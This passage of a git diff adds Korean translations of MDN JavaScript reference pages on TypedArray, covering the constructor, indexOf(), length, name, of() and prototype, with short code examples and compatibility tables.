+ <dd><code>length</code> 인수와 함께 호출하면 메모리상에 길이에 BYTES_PER_ELEMENT bytes(바이트)를 곱한 크기만큼의, 0을 포함한 이진 데이터 버퍼를 생성합니다.</dd>
+ <dt>typedArray</dt>
+ <dd><code>typedArray</code> 인수와 함께 호출하면, 모든 형식화 배열 객체 유형(가령 <code>Int32Array</code>)이 될 수 있는, <code>typedArray</code>는 새로운 형식화 배열로 복사됩니다. <code>typedArray</code> 내 각 값은 새로운 배열로 복사되기 전에 해당 유형의 생성자로 변환됩니다.</dd>
+ <dt>object</dt>
+ <dd><code>object</code> 인수와 함께 호출하면, 새로운 형식화 배열이 마치 <code><em>TypedArray</em>.from()</code> 메서드에 의해서처럼 생성됩니다.</dd>
+ <dt>buffer, byteOffset, length</dt>
+ <dd><code>buffer</code>와 선택 사항으로 <code>byteOffset</code> 및 <code>length</code> 인수와 함께 호출하면, 새로운 형식화 배열 뷰는 지정된 {{jsxref("ArrayBuffer")}} 뷰로 생성됩니다. <code>byteOffset</code> 및 <code>length</code> 매개변수는 형식화 배열 뷰에 의해 노출되는 메모리 범위를 지정합니다. 둘 다 생략된 경우, <code>buffer</code>가 모두 보입니다; <code>length</code>만 생략된 경우, <code>buffer</code>의 나머지가 보입니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>ECMAScript 6는 모든 <em>TypedArray</em> 생성자의 <code>[[Prototype]]</code> 역할을 하는 <em>TypedArray</em> 생성자를 정의합니다. 이 생성자는 직접 노출되지 않습니다: 전역 <code>%TypedArray%</code> 또는 <code>TypedArray</code> 속성은 없습니다. <code>Object.getPrototypeOf(Int8Array.prototype)</code> 및 비슷한 방식을 통해서만 직접 접근할 수 있습니다. 모든 <em>TypedArray</em> 생성자는 <code>%TypedArray%</code> 생성자 함수로부터 공통 속성을 상속합니다. 게다가, 모든 형식화 배열 프로토타입(<em>TypedArray</em><code>.prototype</code>)은 자기 <code>[[Prototype]]</code>으로서 <code>%TypedArray%.prototype</code>이 있습니다.</p>
+
+<p><code>%TypedArray%</code> 생성자 자체로는 특별히 유용한 것은 아닙니다. 호출하거나 <code>new</code> 식으로 사용하면 <code>TypeError</code>가 발생합니다, 서브클래싱을 지원하는 JS 엔진에서 객체 생성 도중 사용될 때 빼고는. 현재로서는 그러한 엔진이 없기에 <code>%TypedArray%</code>는 모든 <em>TypedArray</em> 생성자에 함수 또는 속성을 폴리필할 때만 유용합니다.</p>
+
+<h3 id="속성_접근">속성 접근</h3>
+
+<p>표준 배열 인덱스 구문(즉, 각괄호 표기법)을 써서 배열의 요소를 참조할 수 있습니다. 그러나, 형식화 배열에 인덱스 있는 속성의 읽기(getting) 또는 쓰기(setting)는 이 속성에 대한 프로토타입 체인에서 찾을 수 없습니다, 심지어 인덱스가 범위 밖인 경우라도. 인덱스 있는 속성은 {{jsxref("ArrayBuffer")}}를 조사하고 객체 속성을 조사하지는 않습니다. 여전히 유명 속성을 사용할 수 있습니다, 모든 객체와 마찬가지로.</p>
+
+<pre class="brush: js">// 표준 배열 구문을 사용해 쓰기 및 읽기
+var int16 = new Int16Array(2);
+int16[0] = 42;
+console.log(int16[0]); // 42
+
+// 프로토타입의 인덱스 있는 속성은 조사되지 않음 (Fx 25)
+Int8Array.prototype[20] = "foo";
+(new Int8Array(32))[20]; // 0
+// 비록 범위 밖 또는
+Int8Array.prototype[20] = "foo";
+(new Int8Array(8))[20]; // undefined
+// 음의 정수인 경우에도
+Int8Array.prototype[-1] = "foo";
+(new Int8Array(8))[-1]; // undefined
+
+// 유명(named) 속성은 허용됨, 다만 (Fx 30) 에서지만
+Int8Array.prototype.foo = "bar";
+(new Int8Array(32)).foo; // "bar"</pre>
+
+<h2 id="TypedArray_객체">TypedArray 객체</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">유형</td>
+   <td class="header">크기 (바이트)</td>
+   <td class="header">설명</td>
+   <td class="header">Web IDL 형</td>
+   <td class="header">해당 C 형</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Int8Array")}}</td>
+   <td>1</td>
+   <td>8비트 2의 보수 형식 부호 있는 정수</td>
+   <td><code>byte</code></td>
+   <td><code>int8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint8Array")}}</td>
+   <td>1</td>
+   <td>8비트 부호 없는 정수</td>
+   <td><code>octet</code></td>
+   <td><code>uint8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint8ClampedArray")}}</td>
+   <td>1</td>
+   <td>8비트 부호 없는 정수 (단속됨)</td>
+   <td><code>octet</code></td>
+   <td><code>uint8_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Int16Array")}}</td>
+   <td>2</td>
+   <td>16비트 2의 보수 형식 부호 있는 정수</td>
+   <td><code>short</code></td>
+   <td><code>int16_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint16Array")}}</td>
+   <td>2</td>
+   <td>16비트 부호 없는 정수</td>
+   <td><code>unsigned short</code></td>
+   <td><code>uint16_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Int32Array")}}</td>
+   <td>4</td>
+   <td>32비트 2의 보수 형식 부호 있는 정수</td>
+   <td><code>long</code></td>
+   <td><code>int32_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Uint32Array")}}</td>
+   <td>4</td>
+   <td>32비트 부호 없는 정수</td>
+   <td><code>unsigned long</code></td>
+   <td><code>uint32_t</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Float32Array")}}</td>
+   <td>4</td>
+   <td>32비트 IEEE 부동 소수점 수</td>
+   <td><code>unrestricted float</code></td>
+   <td><code>float</code></td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Float64Array")}}</td>
+   <td>8</td>
+   <td>64비트 IEEE 부동 소수점 수</td>
+   <td><code>unrestricted double</code></td>
+   <td><code>double</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT")}}</dt>
+ <dd>서로 다른 형식화 배열 객체에 대해 요소 크기의 숫자값을 반환합니다.</dd>
+ <dt><em>TypedArray</em>.length</dt>
+ <dd>값이 3인 길이 속성.</dd>
+ <dt>{{jsxref("TypedArray.name")}}</dt>
+ <dd>생성자 이름의 문자열 값을 반환합니다. 가령 "Int8Array".</dd>
+ <dt>{{jsxref("TypedArray.@@species", "get TypedArray[@@species]")}}</dt>
+ <dd>파생된 객체를 생성하는데 쓰이는 생성자 함수.</dd>
+ <dt>{{jsxref("TypedArray.prototype")}}</dt>
+ <dd><em>TypedArray</em> 객체에 대한 프로토타입.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from()")}}</dt>
+ <dd>배열 같은 또는 반복가능(iterable) 객체로부터 새로운 형식화 배열을 생성합니다. {{jsxref("Array.from()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.of()")}}</dt>
+ <dd>가변(variable) 인수로 새로운 형식화 배열을 생성합니다. {{jsxref("Array.of()")}}도 참조.</dd>
+</dl>
+
+<h2 id="TypedArray_프로토타입">TypedArray 프로토타입</h2>
+
+<p>모든 <em>TypedArray</em>는 {{jsxref("TypedArray.prototype")}}을 상속합니다.</p>
+
+<h3 id="속성_2">속성</h3>
+
+<p>{{page('ko/Web/JavaScript/Reference/Global_Objects/TypedArray/prototype','속성')}}</p>
+
+<h3 id="메서드_2">메서드</h3>
+
+<p>{{page('ko/Web/JavaScript/Reference/Global_Objects/TypedArray/prototype','메서드')}}</p>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>형식화 배열 뷰 유형이 있는 <code>TypedArray</code> 및 <code>ArrayBufferView</code> 인터페이스로 정의됨. ECMAScript 6로 대체됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>ECMA 표준에서 초기 정의. 인덱스 있고 유명 속성에 대한 행동이 지정됨. <code>new</code>가 필요함이 지정됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(7.0)}}</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td>Indexed properties not consulting prototype</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Named properties</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("30")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>new</code> is required</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("44")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("2") }}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>4.2</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Indexed properties not consulting prototype</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{ CompatGeckoMobile("25") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+  </tr>
+  <tr>
+   <td>Named properties</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("30") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>new</code> is required</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("44") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <code>-1</code>과 비슷한 값은 인덱스 있는 속성으로 여겨지지 않기에 그 프로토타입 속성값을 반환합니다.</p>
+
+<h2 id="호환성_주의사항">호환성 주의사항</h2>
+
+<p>ECMAScript 2015 (ES6)를 시작으로, <code>TypedArray</code> 생성자는 {{jsxref("Operators/new", "new")}} 연산자로 생성되어야 합니다. <code>new</code> 없는 함수로서 <code>TypedArray</code> 생성자를 호출하면, 이제부터 {{jsxref("TypeError")}}가 발생합니다.</p>
+
+<pre class="brush: js example-bad">var dv = Int8Array([1, 2, 3]);
+// TypeError: new 없은 내장 Int8Array 생성자
+// 호출은 금지됩니다</pre>
+
+<pre class="brush: js example-good">var dv = new Int8Array([1, 2, 3]);</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/indexof/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/indexof/index.html
new file mode 100644
index 0000000000..1ccd923d93
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/indexof/index.html
@@ -0,0 +1,80 @@
+---
+title: TypedArray.prototype.indexOf()
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/indexOf
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/indexOf
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>indexOf()</code></strong> 메소드는 형식화 배열(typed array)에서 주어진 값과 일치하는 첫 번째 인덱스를 반환한다. 일치하는 값이 없으면 -1을 반환한다. 이 메소드는 {{jsxref("Array.prototype.indexOf()")}} 와 동일한 알고리즘을 가지고 있다<em>.</em> <em>TypedArray</em>는 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_%EA%B0%9D%EC%B2%B4">TypedArray 객체 유형</a> 중 하나이다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-indexof.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>typedarray</var>.<var>i<code>ndexOf(<var>searchElement</var>[, <var>fromIndex</var> = 0])</code></var></code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>searchElement</code></dt>
+ <dd>배열에서 검색할 요소.</dd>
+ <dt><code>fromIndex</code></dt>
+ <dd>문자열에서 찾기 시작하는 위치를 나타내는 인덱스 값. 만약 인덱스 번호가 배열의 길이와 동일하거나 더 크다면, 해당 요소를 찾을 수 없기 때문에 결과값으로 -1이 반환된다. 만약 인덱스 번호가 음수라면, 배열의 끝에서부터 하나씩 상쇄하며 계산한다. (예.  fromIndex로 -1을 준 경우 가장 마지막 배열 요소의 값부터 검색을 시작. -2를 준 경우, 가장 마지막 배열 요소에서 하나 앞 요소부터 검색을 시작). 주의: 주어진 인덱스가 음수인 경우에도 배열은 여전히 앞에서부터 뒤로(왼쪽에서 오른쪽 순서로) 검색 된다. 만약 결과값으로 나온 인덱스가 0보다 작다면, 배열 전체가 찾아진 것이다. 디폴트 값 : 0 (전체 배열이 검색된다).</dd>
+</dl>
+
+<h3 id="반환_결과">반환 결과</h3>
+
+<p>해당 배열에서 찾으려는 요소가 위치한 첫 번째 인덱스 값. 만약 찾으려는 요소가 없을 경우에는 -1을 반환. </p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>indexOf</code> 메소드는 배열의 요소를 <code>searchElement</code> 와 비교할 때, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Using_the_Equality_Operators">strict equality</a>(===, <em>트리플 equals</em>) 를 사용하여 자료형의 일치 여부까지 비교한다. </p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">var uint8 = new Uint8Array([2, 5, 9]);
+uint8.indexOf(2);     // 0
+uint8.indexOf(7);     // -1
+uint8.indexOf(9, 2);  // 2
+uint8.indexOf(2, -1); // -1
+uint8.indexOf(2, -3); // 0
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.prototype.indexof', 'TypedArray.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.indexof', 'TypedArray.prototype.indexOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.TypedArray.indexOf")}}</p>
+</div>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/length/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/length/index.html
new file mode 100644
index 0000000000..0d5091aeb6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/length/index.html
@@ -0,0 +1,68 @@
+---
+title: TypedArray.prototype.length
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/length
+tags:
+  - JavaScript
+  - Property
+  - Prototype
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/length
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>length</code></strong> 접근자(accessor) 속성(property)은 형식화 배열의 (요소) 길이를 나타냅니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>length</code> 속성은 set 접근자 함수가 <code>undefined</code>인 접근자 속성입니다, 이 속성을 읽을 수만 있음을 뜻하는. 값은 <em>TypedArray</em>가 만들어질 때 수립되어 변경될 수 없습니다. <em>TypedArray</em>가 <code>byteOffset</code> 또는 <code>length</code>를 지정하지 않은 경우, 참조되는 {{jsxref("ArrayBuffer")}}의 길이가 반환됩니다. <em>TypedArray</em>는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_객체">TypedArray 객체 유형</a> 중 하나입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="length_속성_사용"><code>length</code> 속성 사용</h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+
+var uint8 = new Uint8Array(buffer);
+uint8.length; // 8 (버퍼의 길이와 일치)
+
+var uint8 = new Uint8Array(buffer, 1, 5);
+uint8.length; // 5 (Uint8Array를 만들 때 지정된 대로)
+
+var uint8 = new Uint8Array(buffer, 2);
+uint8.length; // 6 (만든 Uint8Array의 오프셋으로 인해)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-%typedarray%.prototype.length', 'TypedArray.prototype.length')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.length', 'TypedArray.prototype.length')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.TypedArray.length")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/name/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/name/index.html
new file mode 100644
index 0000000000..83b7f47ab1
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/name/index.html
@@ -0,0 +1,70 @@
+---
+title: TypedArray.name
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/name
+tags:
+  - JavaScript
+  - Property
+  - Reference
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/name
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong><em>TypedArray</em>.name</strong></code> 속성은 형식화 배열 생성자 이름의 문자열 값을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-name.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>TypedArray 객체는 요소 당 바이트 수 및 바이트가 해석되는 방법으로 서로 다릅니다. <code>name</code> 속성은 어떤 데이터 형이 배열을 구성하는 지를 기술합니다. 첫 번째 부분은 "정수"용 <code>Int</code> 또는 "부호 없는 정수"용 <code>Uint</code>일 수 있습니다, "부동 소수점"용 <code>Float</code>도 쓰입니다 . 두 번째 부분은 배열의 비트 크기를 기술하는 숫자입니다. 끝으로, 객체 형은 <code>Array</code>입니다, 특수한 경우로 <code>ClampedArray</code>가 있는. 자세한 사항은 {{jsxref("Uint8ClampedArray")}}를 참조해 주세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js">Int8Array.name;         // "Int8Array"
+Uint8Array.name;        // "Uint8Array"
+Uint8ClampedArray.name; // "Uint8ClampedArray"
+Int16Array.name;        // "Int16Array"
+Uint16Array.name;       // "Uint16Array"
+Int32Array.name;        // "Int32Array"
+Uint32Array.name;       // "Uint32Array"
+Float32Array.name;      // "Float32Array"
+Float64Array.name;      // "Float64Array"</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-the-typedarray-constructors', 'TypedArray.name')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-the-typedarray-constructors', 'TypedArray.name')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.TypedArray.name")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/of/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/of/index.html
new file mode 100644
index 0000000000..854c53cedf
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/of/index.html
@@ -0,0 +1,92 @@
+---
+title: TypedArray.of()
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/of
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/of
+---
+<div>{{JSRef}}</div>
+
+<div><code><strong><em>TypedArray</em>.of()</strong></code>는 가변적으로 인수를 전달 할수 있는 새로운 형식화 배열(<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects">typed array</a>)를 만들어내는 메소드입니다.</div>
+
+<p>이 메소드는 {{jsxref("Array.of()")}}와 거의 같습니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code><em>TypedArray</em>.of(<var>element0</var>[, <var>element1</var>[, ...[, <var>elementN</var>]]])
+</code>
+where <em>TypedArray</em> is one of:
+
+Int8Array
+Uint8Array
+Uint8ClampedArray
+Int16Array
+Uint16Array
+Int32Array
+Uint32Array
+Float32Array
+Float64Array</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>형식화 된 배열을 만들 요소입니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>생성된 {{jsxref("TypedArray")}} 인스턴스</p>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Array.of()")}}와 <code><em>TypedArray</em>.of()</code> 사이의 약간의 차이점은 다음과 같습니다. </p>
+
+<ul>
+ <li><code>TypedArray.of</code>에 전달된 값이 생성자가 아닌 경우 <code>TypedArray.of</code>는 {{jsxref ( "TypeError")}}를 발생시킵니다. <code>Array.of</code>는 기본적으로 새로운 {{jsxref ( "Array")}}를 생성합니다. </li>
+ <li><code><em>TypedArray</em>.of</code> uses <code>[[Put]]</code> where <code>Array.of</code> uses <code>[[DefineProperty]]</code>. Hence, when working with {{jsxref("Proxy")}} objects, it calls {{jsxref("Global_Objects/Proxy/handler/set", "handler.set")}} to create new elements rather than {{jsxref("Global_Objects/Proxy/handler/defineProperty", "handler.defineProperty")}}.</li>
+ <li><code>TypedArray.of</code>는 <code>Array.of</code>가 <code>[[DefineProperty]]</code>를 사용하는 것처럼 <code>[[Put]]</code>을 사용합니다. 따라서 {{jsxref("Proxy")}} 객체로 작업 할 때 새로운 요소를 생성하기 위해 {{jsxref("Global_Objects/Proxy/handler/set", "handler.set")}}대신 {{jsxref("Global_Objects/Proxy/handler/defineProperty", "handler.defineProperty")}}를 호출합니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">Uint8Array.of(1);            // Uint8Array [ 1 ]
+Int8Array.of('1', '2', '3'); // Int8Array [ 1, 2, 3 ]
+Float32Array.of(1, 2, 3);    // Float32Array [ 1, 2, 3 ]
+Int16Array.of(undefined);    // IntArray [ 0 ]
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-%typedarray%.of', '%TypedArray%.of')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.of', '%TypedArray%.of')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.TypedArray.of")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.from()")}}</li>
+ <li>{{jsxref("Array.of()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/prototype/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/prototype/index.html
new file mode 100644
index 0000000000..9a1b624b3b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/prototype/index.html
@@ -0,0 +1,175 @@
+---
+title: TypedArray.prototype
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/prototype
+tags:
+  - JavaScript
+  - Property
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>TypedArray</strong></code><strong><code>.prototype</code></strong> 속성(property)은 {{jsxref("TypedArray")}} 생성자에 대한 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("TypedArray")}} 인스턴스는 {{jsxref("TypedArray.prototype")}}을 상속합니다. 모든 <em>TypedArray</em> 인스턴스에 속성 또는 메서드를 추가하기 위해 생성자의 프로토타입 객체를 사용할 수 있으며, <em>TypedArray</em>는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_객체">TypedArray 객체 유형</a> 중 하나입니다.</p>
+
+<p>상속에 관한 자세한 정보를 위해 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#설명"><em>TypedArray</em></a>에 대한 설명도 참조하세요.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>TypedArray.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토타입을 만든 함수를 반환합니다. 이는 기본으로 해당 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_객체">TypedArray 객체 유형</a> 함수 중 하나입니다.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>형식화 배열에 의해 참조되는 {{jsxref("ArrayBuffer")}}를 반환합니다. 생성 시에 고정되기에 <strong>읽기 전용</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>{{jsxref("ArrayBuffer")}}의 시작점부터 형식화 배열의 길이(단위 바이트)를 반환합니다. 생성 시에 고정되기에 <strong>읽기 전용</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>{{jsxref("ArrayBuffer")}}의 시작점부터 형식화 배열의 오프셋(단위 바이트)을 반환합니다. 생성 시에 고정되기에 <strong>읽기 전용</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>형식화 배열 내 보유한 요소의 수를 반환합니다. 생성 시에 고정되기에 <strong>읽기 전용</strong>.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
